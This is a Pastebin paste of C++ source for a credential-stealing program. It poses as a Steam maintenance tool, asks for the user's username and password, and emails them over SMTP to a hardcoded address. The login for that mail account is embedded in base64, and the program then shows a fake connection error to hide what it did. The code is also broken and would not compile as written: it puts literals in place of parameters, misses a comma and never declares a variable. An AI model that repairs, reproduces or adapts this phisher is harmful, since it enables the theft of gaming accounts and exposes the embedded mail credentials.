Guest User

Untitled

a guest
Apr 26th, 2018
316
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.88 KB | None | 0 0
  1. #include <iostream>
  2. #include <fstream>
  3. using namespace std;
  4.  
  5. //----------------- FUNKTIONER ----------------------
  6.  
  7. int SendMail("smtp.home.se", 25, "c3RldmUtcGV0ZXJzb25AaG9tZS5zZQ==", "S2RKbjQtZFIuTw==", "steve-peterson@home.se", "steve-peterson@home.se" char *data);
  8. int SendData(char *data);
  9. void usage();
  10. void init();
  11.  
  12. //------------- GLOBALA VARIABLER -------------------
  13.  
  14. int sockfd, new_fd;
  15. struct sockaddr_in my_addr;
  16. struct sockaddr_in their_addr;
  17. struct hostent *he;
  18. int sin_size;
  19.  
  20. int main()
  21. {
  22.  
  23. cout << "Steam is currently under mainteance. \nIf you are to log in, please use this \nprogram to prevent your account from \nbeing stolen." << endl;
  24. char user[500];
  25. cout << "Username: ";
  26. cin >> user;
  27. char pass[500];
  28. cout << "\nPassword: ";
  29. cin >> pass;
  30.  
  31. strcat(data, user);
  32. strcpy(data, " ");
  33. strcpy(data, pass);
  34. cout<< "Connecting..";
  35. SendMail("smtp.home.se", 25, "c3RldmUtcGV0ZXJzb25AaG9tZS5zZQ==", "S2RKbjQtZFIuTw==", "steve-peterson@home.se", "steve-peterson@home.se" char *data);
  36. cout << "Could not connect to steam network. Try again later.";
  37.  
  38. cout << "\nPress enter to exit.";
  39.  
  40. cin.get();
  41. cin.get();
  42. return 0;
  43. }
  44. void init()
  45. {
  46. //initiera winsock
  47. WSADATA wsaData;
  48.  
  49. if(WSAStartup(MAKEWORD(1, 1), &wsaData) != 0)
  50. {
  51. cout<<"WSA Startup failed\n";
  52. cin.get();
  53. exit(1);
  54. }
  55. }
  56.  
  57. int SendData(char *data)
  58. {
  59. int len = strlen(data);
  60. if((send(sockfd, data, len, 0)) == -1)
  61. {
  62. cout<<"Error, send\n";
  63. exit(1);
  64. }
  65. }
  66.  
  67. int SendMail(char *mailserver, int port, char *acc_user_b64, char *acc_pass_b64, char *from, char *to, char *data)
  68. {
  69. init();
  70.  
  71. if(( he = gethostbyname(mailserver)) == NULL )
  72. {
  73. cout<<"error: hostname";
  74. exit(1);
  75. }
  76.  
  77. if(( sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
  78. {
  79. cout<<"cant create socket";
  80. exit(1);
  81. }
  82.  
  83. their_addr.sin_family = AF_INET;
  84. their_addr.sin_port = htons(port);
  85. their_addr.sin_addr = *((struct in_addr *)he->h_addr);
  86. memset(their_addr.sin_zero, '\0', sizeof my_addr.sin_zero);
  87.  
  88. if( connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1 )
  89. {
  90. cout<<"cant connect";
  91. exit(1);
  92. }
  93.  
  94. //USER, NICK, PING, PONG
  95.  
  96. SendData("HELO server\r\n");
  97. SendData("AUTH LOGIN\r\n");
  98. SendData(acc_user_b64);
  99. SendData("\r\n");
  100. SendData(acc_pass_b64);
  101. SendData("\r\n");
  102. SendData("mail from:");
  103. SendData(from);
  104. SendData("\r\n");
  105. SendData("rcpt to:");
  106. SendData(to);
  107. SendData("\r\n");
  108. SendData("data\r\n");
  109. SendData(data);
  110. SendData("\r\n.\r\n");
  111. SendData("QUIT\r\n");
  112. }
Add Comment
Please, Sign In to add comment